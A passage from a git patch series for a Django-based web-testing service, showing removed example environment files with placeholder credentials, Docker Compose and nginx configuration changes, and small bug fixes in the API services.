-LETSENCRYPT_HOST = api.example.io                   # example
-DJANGO_ALLOWED_HOSTS = *
-DEBUG = True
-LOCATION = us
-
-
-# admin credentials  
-ADMIN_USER = fake               # example
-ADMIN_PASS = dontTryIt1234      # example
-ADMIN_EMAIL = fake@example.com  # example
-
-
-# email credentials
-EMAIL_HOST = smtp.gmail.com
-EMAIL_PORT = 587
-EMAIL_USE_TLS = True
-EMAIL_HOST_USER = fake@example.com   # example
-EMAIL_HOST_PASSWORD = 1234456677888  # example
-
-
-# database configs
-DB_NAME = defaultdb     # example
-DB_USER = doadmin       # example
-DB_PASS = 
-DB_PORT = 
-DB_HOST = db-273428-user-ndjweodi2.b.db.ondigitalocean.com  # example
-
-
-# paths
-CHROMEDRIVER = /usr/bin/chromedriver
-CHROME_BROWSER = /usr/bin/chromium
-FIREFOX_BROWSER = /usr/bin/firefox
-EDGE_BROWSER = /usr/bin/microsoft-edge-stable
-
-
-# stripe keys
-STRIPE_PUBLIC_TEST = 
-STRIPE_PRIVATE_TEST = 
-STRIPE_PUBLIC_LIVE = 
-STRIPE_PRIVATE_LIVE = 
-STRIPE_ENV = prod
-
-
-# google keys
-GOOGLE_CRUX_KEY = 
-
-
-# OAuth keys
-GOOGLE_OAUTH2_CLIENT_ID = 
-GOOGLE_OAUTH2_CLIENT_SECRET = 
-
-
-# twilio credentials
-TWILIO_SID = 
-TWILIO_AUTH_TOKEN = 
-TWILIO_NUMBER = 
-
-
-# sendgrid configs
-SENDGRID_API_KEY = 
-DEFAULT_TEMPLATE = 
-DEFAULT_TEMPLATE_NO_BUTTON = 
-AUTOMATION_TEMPLATE = 
-
-
-
-# slack credentials
-SLACK_APP_ID = 
-SLACK_CLIENT_ID = 
-SLACK_CLIENT_SECRET = 
-SLACK_SIGNING_SECRET = 
-SLACK_VERIFICATION_TOKEN = 
-SLACK_BOT_TOKEN = 
-
-
-# s3 remote storage credentials
-AWS_ACCESS_KEY_ID = 
-AWS_SECRET_ACCESS_KEY = 
-AWS_STORAGE_BUCKET_NAME = storage-scanerr   # example
-AWS_S3_REGION_NAME = sfo3                   # example
-AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com               # example
-AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com   # example
-AWS_LOCATION = static
-AWS_DEFAULT_ACL = public-read
-
-
-
-# OpenAI API key
-GPT_API_KEY = sk-123450989776124ni989wed23e9dub # example
-
-
-
-# Self Hosted Cred
-CRED = ask-for-this-cred-before-deploying
-
-
-
diff --git a/env/.env.stage.example b/env/.env.stage.example
deleted file mode 100644
index 4a65a123..00000000
--- a/env/.env.stage.example
+++ /dev/null
@@ -1,98 +0,0 @@
-# high level django configs
-SECRET_KEY = ask-for-this
-CLIENT_URL_ROOT = http://localhost:3000
-CLIENT_URL_ROOT = http://localhost:3000
-API_URL_ROOT = http://localhost:8000
-YELLOWLAB_ROOT = http://yellowlab.example.com:8383
-LIGHTHOUSE_ROOT = https://www.googleapis.com/pagespeedonline/v5/runPagespeed
-DJANGO_ALLOWED_HOSTS = *
-DEBUG = True
-LOCATION = us
-
-
-# admin credentials 
-ADMIN_USER = fake               # example
-ADMIN_PASS = dontTryIt1234      # example
-ADMIN_EMAIL = fake@example.com  # example
-
-
-# email credentials
-EMAIL_HOST = smtp.gmail.com
-EMAIL_PORT = 587
-EMAIL_USE_TLS = True
-EMAIL_HOST_USER = fake@example.com      # example
-EMAIL_HOST_PASSWORD = 1234456677888     # example
-
-
-# database configs
-DB_HOST = db
-DB_NAME = app
-DB_USER = postgres
-DB_PASS = supersecretpassword
-
-
-# paths
-CHROMEDRIVER = /usr/bin/chromedriver
-CHROME_BROWSER = /usr/bin/google-chrome
-FIREFOX_BROWSER = /usr/bin/firefox
-EDGE_BROWSER = /usr/bin/microsoft-edge-stable
-
-
-# stripe keys
-STRIPE_PUBLIC_TEST = 
-STRIPE_PRIVATE_TEST = 
-
-
-# google keys
-GOOGLE_CRUX_KEY = 
-
-
-# OAuth keys
-GOOGLE_OAUTH2_CLIENT_ID = 
-GOOGLE_OAUTH2_CLIENT_SECRET = 
-
-
-# twilio credentials
-TWILIO_SID = 
-TWILIO_AUTH_TOKEN = 
-TWILIO_NUMBER = 
-
-
-# sendgrid configs
-SENDGRID_API_KEY = 
-DEFAULT_TEMPLATE = 
-DEFAULT_TEMPLATE_NO_BUTTON = 
-AUTOMATION_TEMPLATE = 
-
-
-
-# slack credentials
-SLACK_APP_ID = 
-SLACK_CLIENT_ID = 
-SLACK_CLIENT_SECRET = 
-SLACK_SIGNING_SECRET = 
-SLACK_VERIFICATION_TOKEN = 
-SLACK_BOT_TOKEN = 
-
-
-# s3 remote storage credentials
-AWS_ACCESS_KEY_ID = 
-AWS_SECRET_ACCESS_KEY = 
-AWS_STORAGE_BUCKET_NAME = storage-scanerr   # example
-AWS_S3_REGION_NAME = sfo3                   # example
-AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com               # example
-AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com   # example
-AWS_LOCATION = static
-AWS_DEFAULT_ACL = public-read
-
-
-
-# OpenAI API key
-GPT_API_KEY = sk-123450989776124ni989wed23e9dub # example
-
-
-
-# Self Hosted Cred
-CRED = ask-for-this-cred-before-deploying
-
-
diff --git a/nginx/README.md b/nginx/README.md
new file mode 100644
index 00000000..98f091ae
--- /dev/null
+++ b/nginx/README.md
@@ -0,0 +1,4 @@
+## Build & Push Instructions
+1. Ensure you are in the root of `nginx`
+2. Build Dockerfile `docker build . -t 'cursiondev/nginx:latest'`
+3. Push to dock Dockerfile `docker push cursiondev/nginx:latest`
\ No newline at end of file
diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 45f55aea..435e2aad 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -10,6 +10,7 @@ click==8.1.7
 click-didyoumean==0.3.1
 click-plugins==1.1.1
 click-repl==0.3.0
+cryptography==43.0.3
 Django==5.0.6
 django-celery-beat==2.6.0
 django-filter==24.2
diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index bb9c8b85..bb36608e 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -1,17 +1,21 @@
 #!/bin/bash
 
 # ensure you create $CURSION_ROOT first:
-#  echo 'export CURSION_ROOT=<your/path/to/cursion/>' >> ~/.zshrc   (or ~/.bash_profile)
+# " echo 'export CURSION_ROOT=<your/path/to/cursion/>' >> ~/.zshrc   (or ~/.bash_profile) " 
 
 cd $CURSION_ROOT/server &&
 {   
-    docker compose -f docker-compose.local.yml down &&
+    docker compose -f docker-compose.yml down &&
     docker volume rm server_app server_beat server_celery &&
-    docker compose -f docker-compose.local.yml up --build
+    docker compose -f docker-compose.yml up --build
 } || {
     docker volume rm server_app server_beat server_celery &&
-    docker compose -f docker-compose.local.yml up --build
+    docker compose -f docker-compose.yml up --build
 } || {
-    docker compose -f docker-compose.local.yml up --build
+    docker compose -f docker-compose.yml up --build
 }
 
+
+
+# cmd to run
+# > source ./setup/scripts/local.sh
\ No newline at end of file

From 8ac32102c21e318697b67e1647776d2f54659486 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 12:19:32 -0700
Subject: [PATCH 0769/1099] fixing small bugs

---
 app/api/models.py          |  4 ++--
 app/api/signals.py         | 10 +++++++---
 app/api/utils/caser.py     |  5 +++--
 app/api/utils/flowr.py     |  2 ++
 app/api/v1/ops/services.py | 26 ++++++++++++++------------
 5 files changed, 28 insertions(+), 19 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 366cd5a9..ac79782f 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -287,7 +287,7 @@ def get_meta_default():
 
 
 
-def get_info_default():
+def get_account_info_default():
     info = {'survey': []}
     return info
 
@@ -380,7 +380,7 @@ class Account(models.Model):
     usage = models.JSONField(serialize=True, null=True, blank=True, default=get_usage_default)
     slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default)
     configs = models.JSONField(serialize=True, null=True, blank=True, default=get_default_configs)
-    info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default)
+    info = models.JSONField(serialize=True, null=True, blank=True, default=get_account_info_default)
     meta = models.JSONField(serialize=True, null=True, blank=True, default=get_meta_default)
    
 
diff --git a/app/api/signals.py b/app/api/signals.py
index 3e00a83d..d799cdca 100644
--- a/app/api/signals.py
+++ b/app/api/signals.py
@@ -2,6 +2,7 @@
 from django.dispatch import receiver
 from .utils.flowr import Flowr
 from .models import *
+from cursion import settings
 
 
 
@@ -13,9 +14,12 @@ def flowrun_created(sender, instance, created, **kwargs):
     
     # defing instance as new flowrun
     flowrun = instance
-   
-    # init Flowr & execute run_next()
-    Flowr(flowrun_id=str(flowrun.id)).run_next()
+    
+    # check location
+    if settings.LOCATION == 'us':
+
+        # init Flowr & execute run_next()
+        Flowr(flowrun_id=str(flowrun.id)).run_next()
 
     # return None
     return None
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index f2cc3d24..cb213d11 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -57,7 +57,8 @@ def __init__(
         self.configs = self.caserun.configs if self.caserun else settings.CONFIGS
         self.flowrun_id = flowrun_id
         self.node_index = node_index
-        self.secrets = Secret.objects.filter(account=self.caserun.account)
+        self.account = self.case.account if self.case else self.caserun.account
+        self.secrets = Secret.objects.filter(account=self.account)
 
         # init driver
         self.driver = driver_init(
@@ -985,7 +986,7 @@ def pre_run(self) -> None:
         Returns -> None
         """
 
-        print(f'beginning pre_run for Case {self.caserun.title}')
+        print(f'beginning pre_run for Case {self.case.title}')
 
         # setting implict wait_time for driver
         self.driver.implicitly_wait(self.configs.get('max_wait_time'))
diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index 50774a47..f9da0ff0 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -590,6 +590,8 @@ def run_next(self) -> None:
 
             # end flowrun if requested
             if self.flowrun.configs.get('end_on_fail', True):
+
+                print('--- ending run early due to failure ---')
                 
                 # update logs
                 logs = self.flowrun.logs
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 292b8d3d..0c00cf54 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -67,7 +67,6 @@ def record_api_call(request: object, data: dict, status: str) -> None:
 
 
 
-
 def decrement_resource(account: object, resource: str) -> None:
     """ 
     Removes '1' from the resource total 
@@ -691,7 +690,7 @@ def delete_site(request: object=None, id: str=None, user: object=None) -> object
 
     # get user and account info
     if request:
-        user = account.user
+        user = request.user
     member = Member.objects.get(user=user)
     account = member.account
 
@@ -3034,7 +3033,7 @@ def get_issues(request: object=None) -> object:
     page_id = request.query_params.get('page_id')
     
     user = request.user
-    member = Member.objects.get(user=request.user)
+    member = Member.objects.get(user=user)
     account = member.account
     issues = None
     
@@ -3762,7 +3761,7 @@ def run_schedule(request: object=None) -> object:
     # checking account and resource 
     check_data = check_permissions_and_usage(
         member=member, resource='schedule', 
-        action='add', id=schedule_id, id_type='schedule'
+        action='get', id=schedule_id, id_type='schedule'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -4742,13 +4741,14 @@ def create_or_update_case(request: object=None) -> object:
         # create new Case
         case = Case.objects.create(
             id = case_id,
-            user = request.user,
-            name = name, 
+            user = user,
+            account = account,
+            title = title, 
             type = _type if _type is not None else "recorded",
             site = site,
             site_url = site_url,
             steps = steps_data,
-            account = account
+            
         )
 
         # create process obj
@@ -5127,13 +5127,15 @@ def copy_case(request: object=None) -> object:
     # create new case
     new_case = Case.objects.create(
         id          = new_case_id,
-        user        = request.user,
+        user        = user,
+        account     = account,
         title       = f'Copy - {case.title}', 
         type        = case.type,
         site        = case.site,
         site_url    = case.site_url,
         steps       = steps_data,
-        account     = account
+        processed   = True
+        
     )
 
     # return response
@@ -5162,7 +5164,7 @@ def delete_case(request: object=None, id: str=None, user: object=None) -> object
     # get user and account info
     if request:
         user = request.user
-    member = Member.objects.get(user=request.user)
+    member = Member.objects.get(user=user)
     account = member.account
 
     # checking account and resource 
@@ -5560,7 +5562,7 @@ def delete_caserun(request: object=None, id: str=None, user: object=None) -> obj
     # get user and account info
     if request:
         user = request.user
-    member = Member.objects.get(user=request.user)
+    member = Member.objects.get(user=user)
     account = member.account
 
     # checking account and resource 
@@ -5951,7 +5953,7 @@ def delete_flow(request: object=None, id: str=None, user: object=None) -> object
     # get user and account info
     if request:
         user = request.user
-    member = Member.objects.get(user=request.user)
+    member = Member.objects.get(user=user)
     account = member.account
         
     # checking account and resource 

From 37ce57054037a7bb7733b22a2a7229f153d2db4f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 13:13:25 -0700
Subject: [PATCH 0770/1099] added new client env

---
 .gitignore             |  4 ++++
 docker-compose.dev.yml | 11 ++++++-----
 2 files changed, 10 insertions(+), 5 deletions(-)

diff --git a/.gitignore b/.gitignore
index 15985a76..2fddb707 100644
--- a/.gitignore
+++ b/.gitignore
@@ -14,6 +14,9 @@ env/.env.prod
 env/.env.stage
 env/.env.remote
 env/.env.prod.db
+env/.env.client.dev
+env/.env.client.prod
+
 
 app/data*
 app/static*
@@ -28,3 +31,4 @@ app/.cache*
 app/.config*
 app/.local*
 app/.pki*
+env/.env.client.dev
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 68396aa0..1bf0da3e 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -4,7 +4,7 @@ services:
   client:
     image: cursiondev/client
     env_file:
-      - .env.dev
+      - ./env/.env.client.dev
     ports:
       - "3000:3000"
 
@@ -23,7 +23,7 @@ services:
     expose:
       - 8000
     env_file:
-      - .env.dev
+      - ./env/.env.dev
     volumes:
       - app:/app
       - static_volume:/app/static
@@ -38,7 +38,7 @@ services:
     ports:
       - "5432"
     env_file:
-      - .env.dev
+      - ./env/.env.dev
     volumes: 
       - pgdata:/var/lib/postgresql/data
 
@@ -62,7 +62,7 @@ services:
       dockerfile: Dockerfile
     entrypoint: ["/entrypoint.sh", "celery"]
     env_file:
-      - .env.dev
+      - ./env/.env.dev
     volumes:
       - celery:/app
     depends_on:
@@ -84,7 +84,7 @@ services:
     volumes:
       - beat:/app
     env_file:
-      - .env.dev
+      - ./env/.env.dev
     depends_on:
       - redis
       - celery
@@ -123,6 +123,7 @@ services:
       - /var/run/docker.sock:/tmp/docker.sock:ro
     depends_on:
       - app
+      - client
   
   
   nginx-proxy-letsencrypt:

From 8219802f8dea25c8dbd17e907e4aed1f3c640684 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 14:00:04 -0700
Subject: [PATCH 0771/1099] testing new configs

---
 docker-compose.dev.yml      | 25 +++++++++++++------------
 docker-compose.stage.yml    |  8 ++++----
 docker-compose.yml          | 18 +++++++++---------
 setup/scripts/entrypoint.sh |  4 ++--
 4 files changed, 28 insertions(+), 27 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 1bf0da3e..966b5316 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -2,16 +2,17 @@ services:
 
 
   client:
+    container_name: cursion-client
     image: cursiondev/client
     env_file:
       - ./env/.env.client.dev
-    ports:
-      - "3000:3000"
+    expose:
+      - 3000
 
 
-  app:
-    container_name: cursion-app
-    hostname: cursion-app
+  server:
+    container_name: cursion-server
+    hostname: cursion-server
     platform: linux/amd64
     privileged: true
     restart: always
@@ -19,13 +20,13 @@ services:
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/entrypoint.sh", "app", "remote"]
+    entrypoint: ["/entrypoint.sh", "server", "remote"]
     expose:
       - 8000
     env_file:
       - ./env/.env.dev
     volumes:
-      - app:/app
+      - server:/app
       - static_volume:/app/static
     depends_on:
       - db
@@ -67,7 +68,7 @@ services:
       - celery:/app
     depends_on:
       - redis
-      - app
+      - server
       - db
 
 
@@ -88,7 +89,7 @@ services:
     depends_on:
       - redis
       - celery
-      - app
+      - server
       - db
       
   
@@ -103,7 +104,7 @@ services:
     depends_on:
       - redis
       - celery 
-      - app
+      - server
       - db
 
 
@@ -122,7 +123,7 @@ services:
       - vhost:/etc/nginx/vhost.d
       - /var/run/docker.sock:/tmp/docker.sock:ro
     depends_on:
-      - app
+      - server
       - client
   
   
@@ -144,7 +145,7 @@ services:
 
 
 volumes:
-  app:
+  server:
   celery:
   beat:
   static_volume:
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index cf56f471..17445786 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -1,9 +1,9 @@
 services:
   
 
-  app:
-    container_name: cursion-app
-    hostname: cursion-app
+  server:
+    container_name: cursion-server
+    hostname: cursion-server
     platform: linux/amd64
     privileged: true
     init: true
@@ -13,7 +13,7 @@ services:
       dockerfile: Dockerfile
     ports:
       - "8000:8000"
-    entrypoint: ["/entrypoint.sh", "app", "stage"]
+    entrypoint: ["/entrypoint.sh", "server", "stage"]
     env_file:
       - ./env/.env.stage
     volumes:
diff --git a/docker-compose.yml b/docker-compose.yml
index 4e323537..c7736c43 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -1,9 +1,9 @@
 services:
   
 
-  app:
-    container_name: cursion-app
-    hostname: cursion-app
+  server:
+    container_name: cursion-server
+    hostname: cursion-server
     platform: linux/amd64
     privileged: true
     restart: no
@@ -13,11 +13,11 @@ services:
       dockerfile: Dockerfile
     ports:
       - "8000:8000"
-    entrypoint: ["/entrypoint.sh", "app", "local"]
+    entrypoint: ["/entrypoint.sh", "server", "local"]
     env_file:
       - ./env/.env.local
     volumes:
-      - app:/app
+      - server:/app
     depends_on:
       - db
 
@@ -56,7 +56,7 @@ services:
       - ./env/.env.local
     depends_on:
       - redis
-      - app
+      - server
       - db
 
 
@@ -77,7 +77,7 @@ services:
     depends_on:
       - redis
       - celery
-      - app
+      - server
       - db
 
 
@@ -92,12 +92,12 @@ services:
     depends_on:
       - redis
       - celery 
-      - app
+      - server
       - db
 
 
 volumes:
   pgdata:
-  app:
+  server:
   celery:
   beat:
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index eca149a7..e2620c65 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -1,7 +1,7 @@
 #!/bin/bash
 
-# spin up app in local or remote env
-if [[ $1 == *"app"* ]]
+# spin up server in local or remote env
+if [[ $1 == *"server"* ]]
   then 
     if [[ $2 == *"local"* ]]
       then

From a7e7029bd81028e8420a069df02d4223a5a95945 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 14:09:21 -0700
Subject: [PATCH 0772/1099] testing new configs

---
 docker-compose.dev.yml | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 966b5316..7de5e47d 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -4,6 +4,7 @@ services:
   client:
     container_name: cursion-client
     image: cursiondev/client
+    platform: linux/amd64
     env_file:
       - ./env/.env.client.dev
     expose:
@@ -36,8 +37,9 @@ services:
     container_name: cursion-db
     hostname: cursion-db
     image: postgres:14-alpine
+    platform: linux/amd64
     ports:
-      - "5432"
+      - 5432
     env_file:
       - ./env/.env.dev
     volumes: 
@@ -48,8 +50,9 @@ services:
     container_name: cursion-redis
     hostname: cursion-redis
     image: redis:alpine
+    platform: linux/amd64
     ports:
-      - "6379"
+      - 6379
 
 
   celery:
@@ -97,6 +100,7 @@ services:
     container_name: yellowlab
     hostname: yellowlab
     privileged: true
+    platform: linux/amd64
     restart: always
     image: cursiondev/ylt
     ports:
@@ -112,6 +116,7 @@ services:
     container_name: nginx-proxy
     hostname: nginx-proxy
     image: cursiondev/nginx
+    platform: linux/amd64
     restart: always
     ports:
       - 443:443
@@ -131,6 +136,7 @@ services:
     container_name: nginx-proxy-letsencrypt
     hostname: nginx-proxy-letsencrypt
     image: nginxproxy/acme-companion
+    platform: linux/amd64
     environment:
       - DEFAULT_EMAIL=youremail@yourdomain.com
       - NGINX_PROXY_CONTAINER=nginx-proxy

From d19d42f9f3d30f85ca473cd3e5c19daa2a4e2726 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 14:15:32 -0700
Subject: [PATCH 0773/1099] testing new configs

---
 docker-compose.dev.yml | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 7de5e47d..12656c40 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -37,7 +37,6 @@ services:
     container_name: cursion-db
     hostname: cursion-db
     image: postgres:14-alpine
-    platform: linux/amd64
     ports:
       - 5432
     env_file:
@@ -50,7 +49,6 @@ services:
     container_name: cursion-redis
     hostname: cursion-redis
     image: redis:alpine
-    platform: linux/amd64
     ports:
       - 6379
 
@@ -100,7 +98,6 @@ services:
     container_name: yellowlab
     hostname: yellowlab
     privileged: true
-    platform: linux/amd64
     restart: always
     image: cursiondev/ylt
     ports:
@@ -115,7 +112,6 @@ services:
   nginx-proxy:
     container_name: nginx-proxy
     hostname: nginx-proxy
-    image: cursiondev/nginx
     platform: linux/amd64
     restart: always
     ports:
@@ -136,7 +132,6 @@ services:
     container_name: nginx-proxy-letsencrypt
     hostname: nginx-proxy-letsencrypt
     image: nginxproxy/acme-companion
-    platform: linux/amd64
     environment:
       - DEFAULT_EMAIL=youremail@yourdomain.com
       - NGINX_PROXY_CONTAINER=nginx-proxy

From 2c40ad75084ead6277de86f89289cafe302b0c4c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 14:16:18 -0700
Subject: [PATCH 0774/1099] added hostname for client service

---
 docker-compose.dev.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 12656c40..fde4dbc3 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -3,6 +3,7 @@ services:
 
   client:
     container_name: cursion-client
+    hostname: cursion-client
     image: cursiondev/client
     platform: linux/amd64
     env_file:

From 3eb8dc3030ed3e7f098054fd48f6c31b111d9a4c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 14:17:31 -0700
Subject: [PATCH 0775/1099] fixed typo

---
 docker-compose.dev.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index fde4dbc3..ed23a5e7 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -113,7 +113,7 @@ services:
   nginx-proxy:
     container_name: nginx-proxy
     hostname: nginx-proxy
-    platform: linux/amd64
+    image: cursiondev/nginx
     restart: always
     ports:
       - 443:443

From 40c63911748c710b77557d1d5a73a0dd93011793 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 14:18:52 -0700
Subject: [PATCH 0776/1099] removed plarform for client

---
 docker-compose.dev.yml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index ed23a5e7..10d4dd66 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -5,7 +5,6 @@ services:
     container_name: cursion-client
     hostname: cursion-client
     image: cursiondev/client
-    platform: linux/amd64
     env_file:
       - ./env/.env.client.dev
     expose:

From b4bbd2b235c9991d704ce83bb81053d397235d74 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 14:32:31 -0700
Subject: [PATCH 0777/1099] fixed build platforms

---
 nginx/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nginx/README.md b/nginx/README.md
index 98f091ae..60b38868 100644
--- a/nginx/README.md
+++ b/nginx/README.md
@@ -1,4 +1,4 @@
 ## Build & Push Instructions
 1. Ensure you are in the root of `nginx`
-2. Build Dockerfile `docker build . -t 'cursiondev/nginx:latest'`
+2. Build Dockerfile `docker build --platform linux/amd64 . -t 'cursiondev/nginx:latest'`
 3. Push to dock Dockerfile `docker push cursiondev/nginx:latest`
\ No newline at end of file

From 60a7d828a990b37dfc140c97a279679185c1a4b0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 14:33:42 -0700
Subject: [PATCH 0778/1099] fixed volume reference

---
 .github/workflows/dev-deploy.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index 704b58cf..caf2d082 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -30,5 +30,5 @@ jobs:
           cd ~/app
           git pull origin dev
           docker compose -f docker-compose.dev.yml down
-          docker volume rm app_app app_beat app_celery
+          docker volume rm app_server app_beat app_celery
           docker compose -f docker-compose.dev.yml up -d --build
\ No newline at end of file

From 5a72f0737fa719bbb78aa9231be648662e9a1199 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 15:01:43 -0700
Subject: [PATCH 0779/1099] testing with new volumes specified

---
 docker-compose.dev.yml | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 10d4dd66..ae58c356 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -9,6 +9,8 @@ services:
       - ./env/.env.client.dev
     expose:
       - 3000
+    volumes:
+      - client_volume:/client/build
 
 
   server:
@@ -28,7 +30,7 @@ services:
       - ./env/.env.dev
     volumes:
       - server:/app
-      - static_volume:/app/static
+      - server_volume:/app/static
     depends_on:
       - db
 
@@ -118,7 +120,8 @@ services:
       - 443:443
       - 80:80
     volumes:
-      - static_volume:/app/static
+      - client_volume:/client/build
+      - server_volume:/app/static
       - certs:/etc/nginx/certs
       - html:/usr/share/nginx/html
       - vhost:/etc/nginx/vhost.d
@@ -149,7 +152,8 @@ volumes:
   server:
   celery:
   beat:
-  static_volume:
+  server_volume:
+  client_volume:
   letsencrypt-acme:
   pgdata:
   certs:

From d5251c4410317644d56a9210aaabab965b32fcfc Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 15:39:47 -0700
Subject: [PATCH 0780/1099] testing new static file serving for client and
 server

---
 docker-compose.dev.yml | 4 ++--
 nginx/vhost.d/default  | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index ae58c356..d4acf7c1 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -10,7 +10,7 @@ services:
     expose:
       - 3000
     volumes:
-      - client_volume:/client/build
+      - client_volume:/app/build
 
 
   server:
@@ -120,7 +120,7 @@ services:
       - 443:443
       - 80:80
     volumes:
-      - client_volume:/client/build
+      - client_volume:/app/static
       - server_volume:/app/static
       - certs:/etc/nginx/certs
       - html:/usr/share/nginx/html
diff --git a/nginx/vhost.d/default b/nginx/vhost.d/default
index c498447b..6a61fba2 100644
--- a/nginx/vhost.d/default
+++ b/nginx/vhost.d/default
@@ -1,6 +1,6 @@
 
 location /static/ {
-    alias /app/static/;
+    # alias /app/static/;
     add_header Access-Control-Allow-Origin *;
 }
 

From f4c3f746ca21f5498d7295f3014cf3f44adb0359 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 15:41:14 -0700
Subject: [PATCH 0781/1099] fixing paths

---
 docker-compose.dev.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index d4acf7c1..9c6e5bbe 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -120,7 +120,7 @@ services:
       - 443:443
       - 80:80
     volumes:
-      - client_volume:/app/static
+      - client_volume:/app/build
       - server_volume:/app/static
       - certs:/etc/nginx/certs
       - html:/usr/share/nginx/html

From 84f13dc93dae66b50a4e2652fb08e6712c47e05a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 25 Nov 2024 21:26:37 -0700
Subject: [PATCH 0782/1099] testing new method

---
 app/api/models.py           | 4 ++--
 app/api/v1/auth/services.py | 4 ++--
 docker-compose.dev.yml      | 8 +++-----
 nginx/vhost.d/default       | 2 +-
 4 files changed, 8 insertions(+), 10 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index ac79782f..d55e8e2d 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -265,8 +265,8 @@ def get_usage_default():
         'tests_allowed': 30, 
         'caseruns_allowed': 15,
         'flowruns_allowed': 5,
-        'nodes_allowed': 6,
-        'conditions_allowed': 2,
+        'nodes_allowed': 4,
+        'conditions_allowed': 1,
         'retention_days': 15,
     }
     return usage
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 52b47a78..f56719a4 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -781,8 +781,8 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
             'tests_allowed': tests_allowed if tests_allowed else 30, 
             'caseruns_allowed': caseruns_allowed if caseruns_allowed else 15,
